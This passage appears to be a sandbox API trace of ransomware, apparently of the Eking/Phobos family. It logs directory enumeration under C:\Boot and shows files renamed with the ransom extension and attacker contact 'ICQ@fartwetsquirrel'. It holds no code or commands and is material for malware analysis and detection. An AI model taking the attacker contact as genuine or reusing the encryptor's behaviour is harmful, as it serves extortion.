nFileSizeHigh=0x0, nFileSizeLow=0xa182, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="SplashScreen.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SPLASH~1.EKI")) returned 1 [0213.073] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1c2fb2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf1c2fb2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf48e5b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x23522, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="sqmapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SQMAPI~1.EKI")) returned 1 [0213.073] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf4156b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf4156b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf43b8d4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3802, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Strings.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="STRING~1.EKI")) returned 1 [0213.073] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf43b8d4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf43b8d4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf464983, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x98f2, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0213.073] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf464983, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf464983, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf88de22, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19782, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="watermark.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WATERM~1.EKI")) returned 1 [0213.073] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xcf867bdd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x5b5245, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Windows6.0-KB956250-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~1.EKI")) returned 1 [0213.074] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xd05f7098, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2d7652, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Windows6.0-KB956250-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~2.EKI")) returned 1 [0213.074] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0213.074] SetEvent (hEvent=0x2bc) returned 1 [0213.076] ResetEvent (hEvent=0x2c0) returned 1 [0213.078] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0213.078] SetEvent (hEvent=0x2bc) returned 1 [0213.078] ResetEvent (hEvent=0x2c0) returned 1 [0213.078] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0213.078] FindClose (in: hFindFile=0xc29a88 | out: hFindFile=0xc29a88) returned 1 [0213.405] GetProcessHeap () returned 0xc10000 [0213.405] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc82d90 | out: hHeap=0xc10000) returned 1 [0213.405] FindNextFileW (in: hFindFile=0xc29a08, lpFindFileData=0x2d1f6b8 | out: lpFindFileData=0x2d1f6b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38572a, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0213.405] GetProcessHeap () returned 0xc10000 [0213.405] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc82d90 [0213.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0213.405] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="..", cAlternateFileName="")) returned 1 [0213.406] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="BCD", cAlternateFileName="")) returned 1 [0213.406] SetEvent (hEvent=0x2bc) returned 1 [0213.406] ResetEvent (hEvent=0x2c0) returned 1 [0213.406] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0213.406] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0213.406] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0213.407] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0213.407] GetProcessHeap () returned 0xc10000 [0213.407] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.407] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.407] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0213.407] GetProcessHeap () returned 0xc10000 [0213.408] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.408] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0213.408] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0213.408] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0213.408] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0213.408] GetProcessHeap () returned 0xc10000 [0213.408] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.408] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0213.408] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.408] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.409] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.409] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.409] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0213.409] GetProcessHeap () returned 0xc10000 [0213.409] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.409] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="da-DK", cAlternateFileName="")) returned 1 [0213.409] GetProcessHeap () returned 0xc10000 [0213.409] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.409] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.409] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.410] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.410] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.410] FindClose (in: hFindFile=0x33e4b28 | out: hFindFile=0x33e4b28) returned 1 [0213.410] GetProcessHeap () returned 0xc10000 [0213.410] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.410] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="de-DE", cAlternateFileName="")) returned 1 [0213.410] GetProcessHeap () returned 0xc10000 [0213.410] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0213.410] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.410] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.410] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.411] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 